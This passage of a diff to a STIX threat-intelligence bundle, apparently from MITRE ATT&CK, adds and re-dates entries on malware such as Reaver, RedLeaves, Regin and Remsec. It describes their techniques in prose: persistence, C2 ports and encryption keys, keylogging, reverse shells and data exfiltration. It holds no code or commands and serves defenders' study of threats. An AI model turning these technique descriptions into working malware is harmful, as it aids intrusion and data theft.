+            "relationship_type": "uses",
+            "description": "encrypts some of its files with XOR.",
+            "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29",
+            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Palo Alto Reaver Nov 2017",
+                    "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--f44478f1-fdd7-4e84-8b96-60e6c6a10683",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "queries the Registry to determine the correct Startup path to use for persistence.",
+            "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29",
+            "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Palo Alto Reaver Nov 2017",
+                    "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--edbd751e-29ad-419f-a3ff-9d210453351d",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "collects system information from the victim, including CPU speed, computer name, volume serial number, ANSI code page, OEM code page identifier for the OS, Microsoft Windows version, and memory information.",
+            "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29",
+            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Palo Alto Reaver Nov 2017",
+                    "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--f6cb3957-be7f-41bf-ad44-3dfbd7a5dfe2",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "collects the victim's IP address.",
+            "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29",
+            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
+            "object_marking_refs": [
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+            ],
+            "external_references": [
+                {
+                    "source_name": "Palo Alto Reaver Nov 2017",
+                    "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--e0a0966c-7a2f-41b3-962f-3a6b22a5a8a9",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "collects the victim's username.",
+            "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29",
+            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
+            "object_marking_refs": [
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+            ],
+            "external_references": [
+                {
+                    "source_name": "Palo Alto Reaver Nov 2017",
+                    "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--3bf633d0-5578-4e3a-a599-52f3946f6623",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "deletes the original dropped file from the victim.",
+            "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29",
+            "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59",
+            "object_marking_refs": [
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+            ],
+            "external_references": [
+                {
+                    "source_name": "Palo Alto Reaver Nov 2017",
+                    "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--ecca0af0-1549-4068-b01d-bab711c491c5",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "installs itself as a new service.",
+            "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29",
+            "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790",
+            "object_marking_refs": [
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+            ],
+            "external_references": [
+                {
+                    "source_name": "Palo Alto Reaver Nov 2017",
+                    "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--98d3455f-49cc-4539-ba35-4b11bec0ddcd",
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+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "encrypts collected data with an incremental XOR key prior to exfiltration.",
+            "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29",
+            "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638",
+            "object_marking_refs": [
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+            ],
+            "external_references": [
+                {
+                    "source_name": "Palo Alto Reaver Nov 2017",
+                    "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
+                }
+            ]
+        },
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             "type": "relationship",
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             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RedLeaves attempts to add a shortcut file in the Startup folder to achieve persistence; if this fails, it attempts to add Registry Run keys.",
             "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5",
@@ -48675,7 +58278,7 @@
             "id": "relationship--6610332d-86a5-46dc-a0a1-31c2fe31f164",
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             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A RedLeaves configuration file is encrypted with a simple XOR key, 0x53.",
             "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5",
@@ -48696,7 +58299,7 @@
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             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RedLeaves encrypts C2 traffic with RC4 using a secret key of 88888888.",
             "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5",
@@ -48717,7 +58320,7 @@
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             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RedLeaves uses a specific port of 443 and can also use ports 53 and 80 for C2.",
             "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5",
@@ -48738,7 +58341,7 @@
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             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RedLeaves can use port 995 for C2.",
             "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5",
@@ -48759,7 +58362,7 @@
             "id": "relationship--f4902ad9-b1bb-41ce-a448-55e2d9437503",
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             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RedLeaves is capable of downloading a file from a specified URL.",
             "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5",
@@ -48780,7 +58383,7 @@
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             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RedLeaves can receive and execute commands with cmd.exe. It can also provide a reverse shell.",
             "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5",
@@ -48806,7 +58409,7 @@
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             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RedLeaves can enumerate drives and Remote Desktop sessions.",
             "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5",
@@ -48827,7 +58430,7 @@
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             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RedLeaves can obtain information about the logged on user both locally and for Remote Desktop sessions.",
             "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5",
@@ -48848,7 +58451,7 @@
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             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RedLeaves can enumerate and search for files and directories.",
             "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5",
@@ -48874,7 +58477,7 @@
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             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RedLeaves can delete specified files.",
             "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5",
@@ -48895,7 +58498,7 @@
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             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RedLeaves can obtain the hostname, OS version number, platform, memory information, time elapsed since system startup, and CPU information.",
             "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5",
@@ -48916,7 +58519,7 @@
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             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RedLeaves can obtain information about network parameters.",
             "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5",
@@ -48937,7 +58540,7 @@
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             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RedLeaves is launched through use of DLL search order hijacking to load a malicious dll.",
             "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5",
@@ -48958,7 +58561,7 @@
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             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RedLeaves can communicate to its C2 over HTTP and HTTPS if directed.",
             "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5",
@@ -48979,7 +58582,7 @@
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             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RedLeaves can communicate to its C2 over TCP using a custom binary protocol.",
             "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5",
@@ -49000,7 +58603,7 @@
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             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RedLeaves can capture screenshots.",
             "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5",
@@ -49021,7 +58624,7 @@
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             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Reg may be used to gather details from the Windows Registry of a local or remote system at the command-line interface.",
             "source_ref": "tool--cde2d700-9ed1-46cf-9bce-07364fe8b24f",
@@ -49042,7 +58645,7 @@
             "id": "relationship--baabf444-1748-472f-b991-7a5b25e4e1bb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Reg may be used to interact with and modify the Windows Registry of a local or remote system at the command-line interface.",
             "source_ref": "tool--cde2d700-9ed1-46cf-9bce-07364fe8b24f",
@@ -49063,7 +58666,7 @@
             "id": "relationship--fcfe071b-e527-44e9-9970-9243a354f563",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Regin appears to have functionality to sniff for credentials passed over HTTP, SMTP, and SMB.",
             "source_ref": "malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0",
@@ -49084,7 +58687,7 @@
             "id": "relationship--52cf8793-2f13-45c2-8274-1a9bf5d6224a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Regin leveraged several compromised universities as proxies to obscure its origin.",
             "source_ref": "malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0",
@@ -49105,7 +58708,7 @@
             "id": "relationship--1ee44004-6aaa-4b22-934d-4f4ef82cbbd4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The Regin malware platform uses Extended Attributes to store encrypted executables.",
             "source_ref": "malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0",
@@ -49126,7 +58729,7 @@
             "id": "relationship--fe3c4134-ddef-45f8-b83a-6865a01b9764",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Regin appears to have functionality to modify remote Registry information.",
             "source_ref": "malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0",
@@ -49147,7 +58750,7 @@
             "id": "relationship--2fe9c7cf-44aa-495b-bde6-80cbfc4fbed9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The Regin malware platform supports many standard protocols, including HTTP, HTTPS, and SMB.",
             "source_ref": "malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0",
@@ -49168,7 +58771,7 @@
             "id": "relationship--e7ac3ee3-a014-4b07-9bad-b93d3d1d0f4b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The Regin malware platform can use ICMP to communicate between infected computers.",
             "source_ref": "malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0",
@@ -49189,7 +58792,7 @@
             "id": "relationship--385f57f4-87b6-4126-ab67-531e482ec9bc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Regin contains a keylogger.",
             "source_ref": "malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0",
@@ -49210,7 +58813,7 @@
             "id": "relationship--b98c506f-3dd3-45c1-b81a-3e23bcfe6198",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The Regin malware platform can use Windows admin shares to move laterally.",
             "source_ref": "malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0",
@@ -49231,7 +58834,7 @@
             "id": "relationship--47109a67-e1af-4f5c-8c58-c1580ff5c6ec",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Regin stage 1 modules for 64-bit systems have been found to be signed with fake certificates masquerading as originating from Microsoft Corporation and Broadcom Corporation.",
             "source_ref": "malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0",
@@ -49247,12 +58850,75 @@
                 }
             ]
         },
+        {
+            "type": "relationship",
+            "id": "relationship--b3831788-f18f-4315-997e-275e425c0d31",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "copies a file over to the remote system before execution .",
+            "source_ref": "malware--4e6b9625-bbda-4d96-a652-b3bb45453f26",
+            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Symantec Buckeye",
+                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
+                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--d6fd820e-09ea-494d-a5f7-9de4431a309d",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "can execute commands remotely by creating a new service on the remote system .",
+            "source_ref": "malware--4e6b9625-bbda-4d96-a652-b3bb45453f26",
+            "target_ref": "attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Symantec Buckeye",
+                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
+                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--abb4a85a-d98a-46f7-965b-48d9f88fe9b6",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "can execute commands remotely by creating a new schedule task on the remote system ",
+            "source_ref": "malware--4e6b9625-bbda-4d96-a652-b3bb45453f26",
+            "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Symantec Buckeye",
+                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
+                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
+                }
+            ]
+        },
         {
             "type": "relationship",
             "id": "relationship--48b75b8b-5bef-4f99-baa8-5fa978d371d2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The Remsec loader implements itself with the name Security Support Provider, a legitimate Windows function. Various Remsec .exe files mimic legitimate file names used by Microsoft, Symantec, Kaspersky, Hewlett-Packard, and VMWare.Remsec also disguised malicious modules using similar filenames as custom network encryption software on victims.",
             "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
@@ -49278,7 +58944,7 @@
             "id": "relationship--43edea0b-efb8-41ab-bdda-f5aa62de439f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Some data in Remsec is encrypted using RC5 in CBC mode, AES-CBC with a hardcoded key, RC4, or Salsa20. Some data is also base64-encoded.",
             "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
@@ -49304,7 +58970,7 @@
             "id": "relationship--820c50f3-65e8-4a3a-a71a-e079ae8badad",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Remsec contains a network loader to receive executable modules from remote attackers and run them on the local victim. It can also upload and download files over HTTP and HTTPS.",
             "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
@@ -49330,7 +58996,7 @@
             "id": "relationship--1fe4be95-b162-4fc7-a3c9-4277547ea722",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Remsec's network loader encrypts C2 traffic with RSA and RC6.",
             "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
@@ -49351,7 +59017,7 @@
             "id": "relationship--2f5f2d31-739e-4dc5-b137-840401985244",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Remsec contains a keylogger component.",
             "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
@@ -49377,7 +59043,7 @@
             "id": "relationship--d7e57ff2-f14b-44fa-97e3-8bc976cb9bd5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Remsec is capable of using HTTP, HTTPS, SMTP, and DNS for C2.",
             "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
@@ -49408,7 +59074,7 @@
             "id": "relationship--4ee54acd-fc04-43c2-8cf6-2200a802d0b9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Remsec is capable of using ICMP, TCP, and UDP for C2.",
             "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
@@ -49434,7 +59100,7 @@
             "id": "relationship--147e009d-48db-40bc-999c-70aa1e770a0c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Remsec is capable of listing contents of folders on the victim.Remsec also searches for custom network encryption software on victims.",
             "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
@@ -49465,7 +59131,7 @@
             "id": "relationship--2b4a8be2-8403-43d4-addd-79c504e3dec8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Remsec is capable of deleting files on the victim. It also securely removes itself after collecting and exfiltrating data.",
             "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
@@ -49496,7 +59162,7 @@
             "id": "relationship--137e1ddc-403b-49b5-a214-20b82bab446e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Remsec contains a module to move data from airgapped networks to Internet-connected systems by using a removable USB device.",
             "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
@@ -49517,7 +59183,7 @@
             "id": "relationship--1ce50a6a-5f0b-40ca-9a71-41369ae3fdcd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Remsec can exfiltrate data via a DNS tunnel or email, separately from its C2 channel.",
             "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
@@ -49538,7 +59204,7 @@
             "id": "relationship--b2cf6651-3f2c-4522-9360-dbc5c7af43c5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Remsec schedules the execution one of its modules by creating a new scheduler task.",
             "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
@@ -49559,7 +59225,7 @@
             "id": "relationship--7ed59789-3b2d-4acf-9127-7af35234a373",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A Remsec module has a default C2 port of 13000.",
             "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
@@ -49580,7 +59246,7 @@
             "id": "relationship--e6b68811-113e-4f86-8096-9f506e34dda1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Remsec has a plugin that can perform ARP scanning as well as port scanning.",
